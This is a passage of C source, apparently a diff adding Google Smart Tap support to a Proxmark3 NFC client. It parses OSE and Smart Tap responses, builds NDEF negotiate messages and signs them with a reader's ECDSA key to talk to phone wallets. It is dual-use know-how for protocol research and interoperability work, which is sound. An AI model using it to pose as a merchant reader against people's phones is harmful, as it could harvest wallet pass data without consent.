uint8_t sw1 = (uint8_t)(sw >> 8); + return (sw1 == 0x90) || (sw1 == 0x91); +} + +static bool gst_status_is_transient_failure(uint16_t sw) { + return ((sw >> 8) == 0x92); +} + +static void gst_print_status_line(const char *label, uint16_t sw) { + PrintAndLogEx(INFO, "%s " _YELLOW_("%04X") " (%s)", label, sw, gst_status_name(sw)); +} + +static int gst_ndef_encode_message(const gst_ndef_record_t *records, size_t record_count, + uint8_t *out, size_t out_size, size_t *out_len) { + if (records == NULL || out == NULL || out_len == NULL || record_count == 0) { + return PM3_EINVARG; + } + + size_t offset = 0; + for (size_t i = 0; i < record_count; i++) { + const gst_ndef_record_t *rec = &records[i]; + if (rec->type == NULL || rec->type_len == 0 || rec->type_len > 255 || rec->id_len > 255) { + return PM3_EINVARG; + } + + bool short_record = (rec->payload_len <= 255); + uint8_t header = (uint8_t)(rec->tnf & 0x07); + if (i == 0) { + header |= 0x80; + } + if (i == (record_count - 1)) { + header |= 0x40; + } + if (short_record) { + header |= 0x10; + } + if (rec->id_len > 0) { + header |= 0x08; + } + + if (buffer_append_bytes_with_offset(out, out_size, &offset, &header, 1) != PM3_SUCCESS) { + return PM3_EOVFLOW; + } + + uint8_t type_len_u8 = (uint8_t)rec->type_len; + if (buffer_append_bytes_with_offset(out, out_size, &offset, &type_len_u8, 1) != PM3_SUCCESS) { + return PM3_EOVFLOW; + } + + if (short_record) { + uint8_t payload_len_u8 = (uint8_t)rec->payload_len; + if (buffer_append_bytes_with_offset(out, out_size, &offset, &payload_len_u8, 1) != PM3_SUCCESS) { + return PM3_EOVFLOW; + } + } else { + uint8_t payload_len_u32[4]; + payload_len_u32[0] = (uint8_t)(rec->payload_len >> 24); + payload_len_u32[1] = (uint8_t)(rec->payload_len >> 16); + payload_len_u32[2] = (uint8_t)(rec->payload_len >> 8); + payload_len_u32[3] = (uint8_t)(rec->payload_len); + if (buffer_append_bytes_with_offset(out, out_size, &offset, payload_len_u32, sizeof(payload_len_u32)) != PM3_SUCCESS) { + return PM3_EOVFLOW; + } + } + + if (rec->id_len > 0) { + uint8_t id_len_u8 = (uint8_t)rec->id_len; + if (buffer_append_bytes_with_offset(out, out_size, &offset, &id_len_u8, 1) != PM3_SUCCESS) { + return PM3_EOVFLOW; + } + } + + if (buffer_append_bytes_with_offset(out, out_size, &offset, rec->type, rec->type_len) != PM3_SUCCESS || + buffer_append_bytes_with_offset(out, out_size, &offset, rec->id, rec->id_len) != PM3_SUCCESS || + buffer_append_bytes_with_offset(out, out_size, &offset, rec->payload, rec->payload_len) != PM3_SUCCESS) { + return PM3_EOVFLOW; + } + } + + *out_len = offset; + return PM3_SUCCESS; +} + +static int gst_ndef_parse_record(const uint8_t *message, size_t message_len, size_t *offset, + gst_ndef_record_view_t *out) { + if (message == NULL || offset == NULL || out == NULL || *offset >= message_len) { + return PM3_EINVARG; + } + + size_t pos = *offset; + uint8_t header = message[pos++]; + bool short_record = (header & 0x10) != 0; + bool id_len_present = (header & 0x08) != 0; + bool chunked = (header & 0x20) != 0; + if (chunked) { + return PM3_ENOTIMPL; + } + + if (pos >= message_len) { + return PM3_ESOFT; + } + size_t type_len = message[pos++]; + + size_t payload_len = 0; + if (short_record) { + if (pos >= message_len) { + return PM3_ESOFT; + } + payload_len = message[pos++]; + } else { + if ((pos + 4) > message_len) { + return PM3_ESOFT; + } + payload_len = ((size_t)message[pos] << 24) | + ((size_t)message[pos + 1] << 16) | + ((size_t)message[pos + 2] << 8) | + ((size_t)message[pos + 3]); + pos += 4; + } + + size_t id_len = 0; + if (id_len_present) { + if (pos >= message_len) { + return PM3_ESOFT; + } + id_len = message[pos++]; + } + + size_t required = type_len + id_len + payload_len; + if ((pos + required) > message_len) { + return PM3_ESOFT; + } + + out->mb = (header & 0x80) != 0; + out->me = (header & 0x40) != 0; + out->tnf = (uint8_t)(header & 0x07); + out->type = message + pos; + out->type_len = type_len; + pos += type_len; + out->id = message + pos; + out->id_len = id_len; + pos += id_len; + out->payload = message + pos; + out->payload_len = payload_len; + pos += payload_len; + + *offset = pos; + return PM3_SUCCESS; +} + +static bool gst_ndef_record_matches(const gst_ndef_record_view_t *record, const uint8_t *needle, size_t needle_len) { + if (record == NULL || needle == NULL || needle_len == 0) { + return false; + } + if (bytes_equal_not_null(record->type, record->type_len, needle, needle_len)) { + return true; + } + return bytes_equal_not_null(record->id, record->id_len, needle, needle_len); +} + +static int gst_ndef_find_by_type_or_id(const uint8_t *message, size_t message_len, + const uint8_t *needle, size_t needle_len, + gst_ndef_record_view_t *out_record) { + if (message == NULL || needle == NULL || out_record == NULL) { + return PM3_EINVARG; + } + + size_t offset = 0; + while (offset < message_len) { + gst_ndef_record_view_t record; + int res = gst_ndef_parse_record(message, message_len, &offset, &record); + if (res != PM3_SUCCESS) { + return res; + } + if (gst_ndef_record_matches(&record, needle, needle_len)) { + *out_record = record; + return PM3_SUCCESS; + } + if (record.me) { + break; + } + } + + return PM3_ENODATA; +} + +static int gst_exchange_chained(bool activate_field, bool leave_field_on, + uint8_t cla, uint8_t ins, uint8_t p1, uint8_t p2, + const uint8_t *data, size_t data_len, + uint8_t *result, size_t max_result_len, + size_t *result_len, uint16_t *sw) { + if (result == NULL || result_len == NULL || sw == NULL) { + return PM3_EINVARG; + } + if (data_len > 255) { + PrintAndLogEx(ERR, "APDU payload too long: %zu (max 255)", data_len); + return PM3_EINVARG; + } + + *result_len = 0; + *sw = 0; + + uint8_t chunk[APDU_RES_LEN] = {0}; + size_t chunk_len = 0; + sAPDU_t apdu = {cla, ins, p1, p2, (uint8_t)data_len, (uint8_t *)data}; + int res = Iso7816ExchangeEx(CC_CONTACTLESS, activate_field, leave_field_on, + apdu, true, 0, chunk, sizeof(chunk), &chunk_len, sw); + if (res != PM3_SUCCESS) { + return res; + } + + if ((chunk_len + *result_len) > max_result_len) { + return PM3_EOVFLOW; + } + memcpy(result + *result_len, chunk, chunk_len); + *result_len += chunk_len; + + while (((*sw >> 8) & 0xFF) == 0x61) { + uint16_t le = (*sw & 0xFF); + if (le == 0) { + le = 0x100; + } + + chunk_len = 0; + sAPDU_t get_response = {cla, ISO7816_GET_RESPONSE, 0x00, 0x00, 0x00, NULL}; + res = Iso7816ExchangeEx(CC_CONTACTLESS, false, leave_field_on, get_response, true, le, + chunk, sizeof(chunk), &chunk_len, sw); + if (res != PM3_SUCCESS) { + return res; + } + if ((chunk_len + *result_len) > max_result_len) { + return PM3_EOVFLOW; + } + memcpy(result + *result_len, chunk, chunk_len); + *result_len += chunk_len; + } + + return PM3_SUCCESS; +} + +static int gst_parse_ose_response(const uint8_t *buf, size_t len, gst_ose_info_t *info) { + if (buf == NULL || info == NULL || len == 0) { + return PM3_EINVARG; + } + + memset(info, 0, sizeof(*info)); + + const uint8_t *cursor = buf; + size_t left = len; + + struct tlv top = {0}; + while (left > 0) { + if (tlv_parse_tl(&cursor, &left, &top) == false || top.len > left) { + return PM3_ESOFT; + } + + const uint8_t *value = cursor; + size_t value_len = top.len; + cursor += top.len; + left -= top.len; + + if (top.tag != 0x6F) { + continue; + } + + const uint8_t *fci_cursor = value; + size_t fci_left = value_len; + struct tlv fci_tlv = {0}; + while (fci_left > 0) { + if (tlv_parse_tl(&fci_cursor, &fci_left, &fci_tlv) == false || fci_tlv.len > fci_left) { + return PM3_ESOFT; + } + const uint8_t *fci_value = fci_cursor; + size_t fci_value_len = fci_tlv.len; + fci_cursor += fci_tlv.len; + fci_left -= fci_tlv.len; + + if (fci_tlv.tag == 0x50 && fci_value_len > 0) { + size_t wallet_type_len = MIN(fci_value_len, sizeof(info->wallet_type)); + memcpy(info->wallet_type, fci_value, wallet_type_len); + info->wallet_type_len = wallet_type_len; + info->have_wallet_type = true; + } else if (fci_tlv.tag == 0xC1 && fci_value_len > 0) { + size_t features_len = MIN(fci_value_len, sizeof(info->features)); + memcpy(info->features, fci_value, features_len); + info->features_len = features_len; + info->have_features = true; + } else if (fci_tlv.tag == 0xC2 && fci_value_len > 0) { + size_t nonce_len = MIN(fci_value_len, sizeof(info->ose_device_nonce)); + memcpy(info->ose_device_nonce, fci_value, nonce_len); + info->ose_device_nonce_len = nonce_len; + info->have_ose_device_nonce = true; + } else if (fci_tlv.tag == 0xA5) { + const uint8_t *a5_cursor = fci_value; + size_t a5_left = fci_value_len; + struct tlv a5_tlv = {0}; + while (a5_left > 0) { + if (tlv_parse_tl(&a5_cursor, &a5_left, &a5_tlv) == false || a5_tlv.len > a5_left) { + return PM3_ESOFT; + } + const uint8_t *a5_value = a5_cursor; + size_t a5_value_len = a5_tlv.len; + a5_cursor += a5_tlv.len; + a5_left -= a5_tlv.len; + + if (a5_tlv.tag != 0xBF0C) { + continue; + } + + const uint8_t *dir_cursor = a5_value; + size_t dir_left = a5_value_len; + struct tlv dir_tlv = {0}; + while (dir_left > 0) { + if (tlv_parse_tl(&dir_cursor, &dir_left, &dir_tlv) == false || dir_tlv.len > dir_left) { + return PM3_ESOFT; + } + const uint8_t *dir_value = dir_cursor; + size_t dir_value_len = dir_tlv.len; + dir_cursor += dir_tlv.len; + dir_left -= dir_tlv.len; + + if (dir_tlv.tag != 0x61) { + continue; + } + + const uint8_t *entry_cursor = dir_value; + size_t entry_left = dir_value_len; + struct tlv entry_tlv = {0}; + const uint8_t *entry_aid = NULL; + size_t entry_aid_len = 0; + const uint8_t *entry_discretionary = NULL; + size_t entry_discretionary_len = 0; + + while (entry_left > 0) { + if (tlv_parse_tl(&entry_cursor, &entry_left, &entry_tlv) == false || entry_tlv.len > entry_left) { + return PM3_ESOFT; + } + const uint8_t *entry_value = entry_cursor; + size_t entry_value_len = entry_tlv.len; + entry_cursor += entry_tlv.len; + entry_left -= entry_tlv.len; + + if (entry_tlv.tag == 0x4F) { + entry_aid = entry_value; + entry_aid_len = entry_value_len; + } else if (entry_tlv.tag == 0x73) { + entry_discretionary = entry_value; + entry_discretionary_len = entry_value_len; + } + } + + if (entry_aid == NULL || entry_discretionary == NULL) { + continue; + } + if (!bytes_equal_not_null(entry_aid, entry_aid_len, GST_SMART_TAP_V2_AID, sizeof(GST_SMART_TAP_V2_AID))) { + continue; + } + + info->have_directory_smart_tap_entry = true; + + const uint8_t *disc_cursor = entry_discretionary; + size_t disc_left = entry_discretionary_len; + struct tlv disc_tlv = {0}; + while (disc_left > 0) { + if (tlv_parse_tl(&disc_cursor, &disc_left, &disc_tlv) == false || disc_tlv.len > disc_left) { + return PM3_ESOFT; + } + const uint8_t *disc_value = disc_cursor; + size_t disc_value_len = disc_tlv.len; + disc_cursor += disc_tlv.len; + disc_left -= disc_tlv.len; + + if (disc_tlv.tag == 0xDF6D && disc_value_len >= 2) { + info->have_min_version = true; + info->min_version[0] = disc_value[0]; + info->min_version[1] = disc_value[1]; + } else if (disc_tlv.tag == 0xDF4D && disc_value_len >= 2) { + info->have_max_version = true; + info->max_version[0] = disc_value[0]; + info->max_version[1] = disc_value[1]; + } else if (disc_tlv.tag == 0xDF6E && disc_value_len > 0) { + size_t nonce_len = MIN(disc_value_len, sizeof(info->directory_device_nonce)); + memcpy(info->directory_device_nonce, disc_value, nonce_len); + info->directory_device_nonce_len = nonce_len; + info->have_directory_device_nonce = true; + } else if (disc_tlv.tag == 0xDF62 && disc_value_len >= 1) { + info->have_capabilities = true; + info->capabilities = disc_value[0]; + } + } + break; + } + } + } + } + break; + } + + return PM3_SUCCESS; +} + +static int gst_parse_select_smart_tap_response(const uint8_t *buf, size_t len, gst_select_info_t *info) { + if (buf == NULL || info == NULL || len < 4) { + return PM3_EINVARG; + } + + memset(info, 0, sizeof(*info)); + info->have_min_version = true; + info->min_version[0] = buf[0]; + info->min_version[1] = buf[1]; + info->have_max_version = true; + info->max_version[0] = buf[2]; + info->max_version[1] = buf[3]; + + if (len == 4) { + return PM3_SUCCESS; + } + + const uint8_t *ndef = buf + 4; + size_t ndef_len = len - 4; + gst_ndef_record_view_t handset_nonce_record; + int res = gst_ndef_find_by_type_or_id(ndef, ndef_len, + GST_TYPE_HANDSET_NONCE, sizeof(GST_TYPE_HANDSET_NONCE), + &handset_nonce_record); + if (res != PM3_SUCCESS) { + return res; + } + + if (handset_nonce_record.payload_len < 1) { + return PM3_ESOFT; + } + + size_t nonce_len = handset_nonce_record.payload_len - 1; + nonce_len = MIN(nonce_len, sizeof(info->handset_nonce)); + memcpy(info->handset_nonce, handset_nonce_record.payload + 1, nonce_len); + info->handset_nonce_len = nonce_len; + info->have_handset_nonce = true; + return PM3_SUCCESS; +} + +static void gst_print_version_line(const char *label, bool have, const uint8_t version[2]) { + if (have) { + PrintAndLogEx(INFO, "%s " _YELLOW_("%" PRIu32 " (%u.%u)"), + label, + gst_version_value(version), + version[1], version[0]); + } else { + PrintAndLogEx(INFO, "%s not present", label); + } +} + +static void gst_print_feature_bit(const char *bits, uint8_t mask, uint8_t bit, + const char *enabled, const char *disabled) { + const bool is_enabled = (mask & (1U << bit)) != 0; + const int pad = 7 - bit; + PrintAndLogEx(INFO, " %s", + sprint_breakdown_bin(is_enabled ? C_GREEN : C_NONE, bits, 8, pad, 1, + is_enabled ? enabled : disabled)); +} + +static void gst_print_feature_bit_nested(const char *bits, uint8_t mask, uint8_t bit, + const char *enabled, const char *disabled) { + const bool is_enabled = (mask & (1U << bit)) != 0; + const int pad = 7 - bit; + PrintAndLogEx(INFO, " %s", + sprint_breakdown_bin(is_enabled ? C_GREEN : C_NONE, bits, 8, pad, 1, + is_enabled ? enabled : disabled)); +} + +static void gst_print_ose_transaction_mode(uint8_t mask) { + const char *bits = sprint_bin(&mask, 1); + PrintAndLogEx(INFO, " Transaction mode........ " _YELLOW_("%s") " (" _YELLOW_("0x%02X") ")", bits, mask); + gst_print_feature_bit_nested(bits, mask, 7, "Payment enabled", "Payment enabled not set"); + gst_print_feature_bit_nested(bits, mask, 6, "Payment requested", "Payment requested not set"); + gst_print_feature_bit_nested(bits, mask, 5, "Reserved/unknown bit set", "Reserved/unknown bit clear"); + gst_print_feature_bit_nested(bits, mask, 4, "Reserved/unknown bit set", "Reserved/unknown bit clear"); + gst_print_feature_bit_nested(bits, mask, 3, "Pass enabled", "Pass enabled not set"); + gst_print_feature_bit_nested(bits, mask, 2, "Pass requested", "Pass requested not set"); + gst_print_feature_bit_nested(bits, mask, 1, "Reserved/unknown bit set", "Reserved/unknown bit clear"); + gst_print_feature_bit_nested(bits, mask, 0, "Reserved/unknown bit set", "Reserved/unknown bit clear"); +} + +static void gst_print_ose_capabilities(uint8_t mask) { + const char *bits = sprint_bin(&mask, 1); + PrintAndLogEx(INFO, "Capabilities (DF62)....... " _YELLOW_("%s") " (" _YELLOW_("0x%02X") ")", bits, mask); + gst_print_feature_bit(bits, mask, 1, "VAS support advertised", "VAS support not advertised"); + gst_print_feature_bit(bits, mask, 0, "Skipping second select allowed", "Skipping second select not allowed"); +} + +static void gst_print_bundle_flags(uint8_t mask) { + const char *bits = sprint_bin(&mask, 1); + PrintAndLogEx(INFO, "Bundle flags.............. " _YELLOW_("%s") " (" _YELLOW_("0x%02X") ")", bits, mask); + gst_print_feature_bit(bits, mask, 1, "Payload compressed", "Payload not compressed"); + gst_print_feature_bit(bits, mask, 0, "Payload encrypted", "Payload not encrypted"); + + const uint8_t reserved = (uint8_t)(mask & 0xFC); + if (reserved != 0) { + PrintAndLogEx(WARNING, "Reserved bundle bits....... " _YELLOW_("0x%02X"), reserved); + } +} + +static void gst_print_ose_info(const gst_ose_info_t *info) { + if (info == NULL) { + return; + } + + PrintAndLogInfoHeader("OSE Information (6F)"); + bool skip_gst_details = false; + if (info->have_wallet_type) { + PrintAndLogEx(INFO, "Wallet type............... " _YELLOW_("%s"), + sprint_ascii(info->wallet_type, info->wallet_type_len)); + if (gst_wallet_type_is_android_pay(info->wallet_type, info->wallet_type_len) == false) { + PrintAndLogEx(WARNING, "Wallet type is not AndroidPay. This likely isn't Google Smart Tap."); + skip_gst_details = true; + } + } else { + PrintAndLogEx(WARNING, "Wallet type............... " _YELLOW_("not present")); + } + if (skip_gst_details) { + return; + } + + if (info->have_features) { + PrintAndLogEx(INFO, "Features (C1)............. " _YELLOW_("%s"), + sprint_hex_inrow(info->features, info->features_len)); + gst_print_ose_transaction_mode(info->features[0]); + } else { + PrintAndLogEx(INFO, "Features (C1)............. not present"); + } + if (info->have_capabilities) { + gst_print_ose_capabilities(info->capabilities); + } else { + PrintAndLogEx(INFO, "Capabilities.............. not present"); + } + gst_print_version_line("Minimum version...........", info->have_min_version, info->min_version); + gst_print_version_line("Maximum version...........", info->have_max_version, info->max_version); + + if (info->have_ose_device_nonce) { + PrintAndLogEx(INFO, "Device nonce (C2)......... " _YELLOW_("%s"), + sprint_hex_inrow(info->ose_device_nonce, info->ose_device_nonce_len)); + } else { + PrintAndLogEx(INFO, "Device nonce (C2)......... not present"); + } + + if (info->have_directory_device_nonce) { + PrintAndLogEx(INFO, "Device nonce (DF6E)....... " _YELLOW_("%s"), + sprint_hex_inrow(info->directory_device_nonce, info->directory_device_nonce_len)); + } else { + PrintAndLogEx(INFO, "Device nonce (DF6E)....... not present"); + } +} + +static void gst_print_select_info(const gst_select_info_t *info) { + if (info == NULL) { + return; + } + PrintAndLogInfoHeader("Smart Tap applet information"); + gst_print_version_line("Minimum version...........", info->have_min_version, info->min_version); + gst_print_version_line("Maximum version...........", info->have_max_version, info->max_version); + if (info->have_handset_nonce) { + PrintAndLogEx(INFO, "Handset nonce............. " _YELLOW_("%s"), + sprint_hex_inrow(info->handset_nonce, info->handset_nonce_len)); + } else { + PrintAndLogEx(INFO, "Handset nonce............. not present"); + } +} + +static bool gst_should_select_smart_tap(gst_select_behavior_t behavior, const gst_ose_info_t *ose_info) { + if (behavior == GST_SELECT_YES) { + return true; + } + if (behavior == GST_SELECT_NO) { + return false; + } + + if (ose_info != NULL && ose_info->have_wallet_type && + gst_wallet_type_is_android_pay(ose_info->wallet_type, ose_info->wallet_type_len) == false) { + return false; + } + + bool allow_skip = (ose_info != NULL && ose_info->have_capabilities && (ose_info->capabilities & 0x01) != 0); + bool have_device_nonce = false; + if (ose_info != NULL) { + have_device_nonce = ose_info->have_directory_device_nonce || ose_info->have_ose_device_nonce; + } + return (!allow_skip || !have_device_nonce); +} + +static int gst_select_ose(gst_ose_info_t *info, bool keep_field_on) { + uint8_t response[GST_MAX_BUFFER] = {0}; + size_t response_len = 0; + uint16_t sw = 0; + + int res = gst_exchange_chained(true, keep_field_on, 0x00, ISO7816_SELECT_FILE, 0x04, 0x00, + GST_OSE_AID, sizeof(GST_OSE_AID), + response, sizeof(response), &response_len, &sw); + if (res != PM3_SUCCESS) { + PrintAndLogEx(ERR, "SELECT OSE exchange error"); + return res; + } + if (sw != ISO7816_OK) { + if (sw) { + PrintAndLogEx(INFO, "OSE.VAS.01 not found. APDU response: %04x - %s", + sw, GetAPDUCodeDescription(sw >> 8, sw & 0xff)); + } else { + PrintAndLogEx(ERR, "APDU exchange error. Card returns 0x0000"); + } + return PM3_ESOFT; + } + + return gst_parse_ose_response(response, response_len, info); +} + +static int gst_select_smart_tap_v2(gst_select_info_t *info, bool keep_field_on) { + uint8_t response[GST_MAX_BUFFER] = {0}; + size_t response_len = 0; + uint16_t sw = 0; + + int res = gst_exchange_chained(false, keep_field_on, 0x00, ISO7816_SELECT_FILE, 0x04, 0x00, + GST_SMART_TAP_V2_AID, sizeof(GST_SMART_TAP_V2_AID), + response, sizeof(response), &response_len, &sw); + if (res != PM3_SUCCESS) { + PrintAndLogEx(ERR, "SELECT Smart Tap v2 exchange error"); + return res; + } + if (sw != ISO7816_OK) { + if (sw) { + PrintAndLogEx(INFO, "Smart Tap v2 applet not found. APDU response: %04x - %s", + sw, GetAPDUCodeDescription(sw >> 8, sw & 0xff)); + } else { + PrintAndLogEx(ERR, "APDU exchange error. Card returns 0x0000"); + } + return PM3_ESOFT; + } + + return gst_parse_select_smart_tap_response(response, response_len, info); +} + +static int gst_load_private_key_raw(const uint8_t private_key_bytes[32], mbedtls_ecp_keypair *keypair, pcrypto_rng_t *rng) { + if (private_key_bytes == NULL || keypair == NULL || rng == NULL || rng->seeded == false) { + return PM3_EINVARG; + } + + mbedtls_ecp_keypair_init(keypair); + int ret = mbedtls_ecp_group_load(&keypair->grp, MBEDTLS_ECP_DP_SECP256R1); + if (ret != 0) { + return PM3_ESOFT; + } + ret = mbedtls_mpi_read_binary(&keypair->d, private_key_bytes, 32); + if (ret != 0) { + return PM3_ESOFT; + } + ret = mbedtls_ecp_check_privkey(&keypair->grp, &keypair->d); + if (ret != 0) { + return PM3_ESOFT; + } + + ret = mbedtls_ecp_mul(&keypair->grp, &keypair->Q, &keypair->d, &keypair->grp.G, + mbedtls_ctr_drbg_random, &rng->ctr_drbg); + if (ret != 0) { + return PM3_ESOFT; + } + ret = mbedtls_ecp_check_pubkey(&keypair->grp, &keypair->Q); + if (ret != 0) { + return PM3_ESOFT; + } + return PM3_SUCCESS; +} + +static int gst_generate_ephemeral_keypair(mbedtls_ecp_keypair *keypair, pcrypto_rng_t *rng) { + if (keypair == NULL || rng == NULL || rng->seeded == false) { + return PM3_EINVARG; + } + mbedtls_ecp_keypair_init(keypair); + return (mbedtls_ecp_gen_key(MBEDTLS_ECP_DP_SECP256R1, keypair, mbedtls_ctr_drbg_random, &rng->ctr_drbg) == 0) + ? PM3_SUCCESS : PM3_ESOFT; +} + +static int gst_export_pubkey_uncompressed(const mbedtls_ecp_keypair *keypair, uint8_t out[65]) { + if (keypair == NULL || out == NULL) { + return PM3_EINVARG; + } + size_t written = 0; + int ret = mbedtls_ecp_point_write_binary(&keypair->grp, &keypair->Q, + MBEDTLS_ECP_PF_UNCOMPRESSED, &written, out, 65); + if (ret != 0 || written != 65) { + return PM3_ESOFT; + } + return PM3_SUCCESS; +} + +static int gst_export_pubkey_compressed(const mbedtls_ecp_keypair *keypair, uint8_t out[33]) { + if (keypair == NULL || out == NULL) { + return PM3_EINVARG; + } + size_t written = 0; + int ret = mbedtls_ecp_point_write_binary(&keypair->grp, &keypair->Q, + MBEDTLS_ECP_PF_COMPRESSED, &written, out, 33); + if (ret != 0 || written != 33) { + return PM3_ESOFT; + } + return PM3_SUCCESS; +} + +static int gst_load_public_key_any(const uint8_t *pubkey, size_t pubkey_len, mbedtls_ecp_keypair *keypair) { + if (pubkey == NULL || keypair == NULL) { + return PM3_EINVARG; + } + if (pubkey_len != 33 && pubkey_len != 65) { + return PM3_EINVARG; + } + + mbedtls_ecp_keypair_init(keypair); + int ret = mbedtls_ecp_group_load(&keypair->grp, MBEDTLS_ECP_DP_SECP256R1); + if (ret != 0) { + return PM3_ESOFT; + } + + uint8_t uncompressed[65] = {0}; + const uint8_t *to_read = pubkey; + size_t to_read_len = pubkey_len; + + if (pubkey_len == 33) { + size_t uncompressed_len = 0; + if (mbedtls_ecp_decompress(&keypair->grp, pubkey, pubkey_len, uncompressed, &uncompressed_len, sizeof(uncompressed)) != 0 || + uncompressed_len != sizeof(uncompressed)) { + return PM3_ESOFT; + } + to_read = uncompressed; + to_read_len = sizeof(uncompressed); + } + + ret = mbedtls_ecp_point_read_binary(&keypair->grp, &keypair->Q, to_read, to_read_len); + if (ret != 0) { + return PM3_ESOFT; + } + ret = mbedtls_ecp_check_pubkey(&keypair->grp, &keypair->Q); + if (ret != 0) { + return PM3_ESOFT; + } + return PM3_SUCCESS; +} + +static int gst_build_signature_input(const uint8_t reader_nonce[32], + const uint8_t *device_nonce, size_t device_nonce_len, + uint32_t collector_id, + const uint8_t reader_ephemeral_public_key[33], + uint8_t *out, size_t out_size, size_t *out_len) { + if (reader_nonce == NULL || device_nonce == NULL || reader_ephemeral_public_key == NULL || + out == NULL || out_len == NULL) { + return PM3_EINVARG; + } + + size_t offset = 0; + uint8_t collector_id_be[4]; + Uint4byteToMemBe(collector_id_be, collector_id); + + if (buffer_append_bytes_with_offset(out, out_size, &offset, reader_nonce, 32) != PM3_SUCCESS || + buffer_append_bytes_with_offset(out, out_size, &offset, device_nonce, device_nonce_len) != PM3_SUCCESS || + buffer_append_bytes_with_offset(out, out_size, &offset, collector_id_be, sizeof(collector_id_be)) != PM3_SUCCESS || + buffer_append_bytes_with_offset(out, out_size, &offset, reader_ephemeral_public_key, 33) != PM3_SUCCESS) { + return PM3_EOVFLOW; + } + + *out_len = offset; + return PM3_SUCCESS; +} + +static int gst_create_reader_signature(const uint8_t reader_private_key[32], + const uint8_t reader_public_key[65], + const uint8_t *signature_input, + size_t signature_input_len, + uint8_t *signature, + size_t *signature_len) { + if (reader_private_key == NULL || reader_public_key == NULL || signature_input == NULL || + signature == NULL || signature_len == NULL) { + return PM3_EINVARG; + } + + int res = ecdsa_signature_create(MBEDTLS_ECP_DP_SECP256R1, + (uint8_t *)reader_private_key, + (uint8_t *)reader_public_key, + (uint8_t *)signature_input, + (int)signature_input_len, + signature, signature_len, true); + return (res == 0) ? PM3_SUCCESS : PM3_ESOFT; +} + +static int gst_build_session_payload(uint64_t session_id, uint8_t sequence_number, uint8_t status, + uint8_t out[10], size_t *out_len) { + if (out == NULL || out_len == NULL) { + return PM3_EINVARG; + } + Uint8byteToMemBe(out, session_id); + out[8] = sequence_number; + out[9] = status; + *out_len = 10; + return PM3_SUCCESS; +} + +static int gst_build_negotiate_message(const uint8_t reader_nonce[32], + const uint8_t reader_ephemeral_public_key[33], + const uint8_t *signature, size_t signature_len, + uint32_t collector_id, + uint32_t key_version, + uint64_t session_id, + uint8_t sequence_number, + bool live_authentication, + uint8_t *out, size_t out_size, size_t *out_len) { + if (reader_nonce == NULL || reader_ephemeral_public_key == NULL || signature == NULL || + out == NULL || out_len == NULL) { + return PM3_EINVARG; + } + + uint8_t session_payload[10] = {0}; + size_t session_payload_len = 0; + int res = gst_build_session_payload(session_id, sequence_number, 0x01, session_payload, &session_payload_len); + if (res != PM3_SUCCESS) { + return res; + } + + uint8_t collector_id_be[4]; + Uint4byteToMemBe(collector_id_be, collector_id); + + uint8_t signature_record_payload[GST_MAX_SIGNATURE_LEN + 1] = {0}; + size_t signature_record_payload_len = 0; + signature_record_payload[0] = 0x04; + signature_record_payload_len = 1; + if (buffer_append_bytes_with_offset(signature_record_payload, sizeof(signature_record_payload), &signature_record_payload_len, signature, signature_len) != PM3_SUCCESS) { + return PM3_EOVFLOW; + } + + uint8_t collector_record_payload[5] = {0x04, 0, 0, 0, 0}; + memcpy(collector_record_payload + 1, collector_id_be, 4); + + uint8_t nested_signature_msg[GST_MAX_NDEF_BUFFER] = {0}; + size_t nested_signature_msg_len = 0; + gst_ndef_record_t nested_signature_records[] = { + {0x04, GST_TYPE_SIGNATURE, sizeof(GST_TYPE_SIGNATURE), NULL, 0, signature_record_payload, signature_record_payload_len}, + {0x04, GST_TYPE_COLLECTOR_ID, sizeof(GST_TYPE_COLLECTOR_ID), NULL, 0, collector_record_payload, sizeof(collector_record_payload)}, + }; + res = gst_ndef_encode_message(nested_signature_records, ARRAYLEN(nested_signature_records), + nested_signature_msg, sizeof(nested_signature_msg), &nested_signature_msg_len); + if (res != PM3_SUCCESS) { + return res; + } + + uint8_t cpr_payload[GST_MAX_NDEF_BUFFER] = {0}; + size_t cpr_payload_len = 0; + uint8_t key_version_be[4]; + Uint4byteToMemBe(key_version_be, key_version); + uint8_t live_auth = live_authentication ? 0x01 : 0x00; + + if (buffer_append_bytes_with_offset(cpr_payload, sizeof(cpr_payload), &cpr_payload_len, reader_nonce, 32) != PM3_SUCCESS || + buffer_append_bytes_with_offset(cpr_payload, sizeof(cpr_payload), &cpr_payload_len, &live_auth, 1) != PM3_SUCCESS || + buffer_append_bytes_with_offset(cpr_payload, sizeof(cpr_payload), &cpr_payload_len, reader_ephemeral_public_key, 33) != PM3_SUCCESS || + buffer_append_bytes_with_offset(cpr_payload, sizeof(cpr_payload), &cpr_payload_len, key_version_be, sizeof(key_version_be)) != PM3_SUCCESS || + buffer_append_bytes_with_offset(cpr_payload, sizeof(cpr_payload), &cpr_payload_len, nested_signature_msg, nested_signature_msg_len) != PM3_SUCCESS) { + return PM3_EOVFLOW; + } + + uint8_t nested_negotiate_msg[GST_MAX_NDEF_BUFFER] = {0}; + size_t nested_negotiate_msg_len = 0; + gst_ndef_record_t nested_negotiate_records[] = { + {0x04, GST_TYPE_SESSION, sizeof(GST_TYPE_SESSION), NULL, 0, session_payload, session_payload_len}, + {0x04, GST_TYPE_CRYPTO_PARAMS, sizeof(GST_TYPE_CRYPTO_PARAMS), NULL, 0, cpr_payload, cpr_payload_len}, + }; + res = gst_ndef_encode_message(nested_negotiate_records, ARRAYLEN(nested_negotiate_records), + nested_negotiate_msg, sizeof(nested_negotiate_msg), &nested_negotiate_msg_len); + if (res != PM3_SUCCESS) { + return res; + } + + uint8_t outer_payload[GST_MAX_NDEF_BUFFER] = {0}; + size_t outer_payload_len = 0; + const uint8_t version[2] = {0x00, 0x01}; + if (buffer_append_bytes_with_offset(outer_payload, sizeof(outer_payload), &outer_payload_len, version, sizeof(version)) != PM3_SUCCESS || + buffer_append_bytes_with_offset(outer_payload, sizeof(outer_payload), &outer_payload_len, nested_negotiate_msg, nested_negotiate_msg_len) != PM3_SUCCESS) { + return PM3_EOVFLOW; + } + + gst_ndef_record_t outer_record = { + .tnf = 0x04, + .type = GST_TYPE_NEGOTIATE_REQUEST, + .type_len = sizeof(GST_TYPE_NEGOTIATE_REQUEST), + .id = NULL, + .id_len = 0, + .payload = outer_payload, + .payload_len = outer_payload_len + }; + + return gst_ndef_encode_message(&outer_record, 1, out, out_size, out_len); +} + +static int gst_build_get_data_message(uint32_t collector_id, + uint64_t session_id, + uint8_t sequence_number, + gst_mode_t mode, + uint8_t system_flags, + uint8_t ui_flags, + uint8_t checkout_flags, + uint8_t cvm_flags, + uint8_t *out, size_t 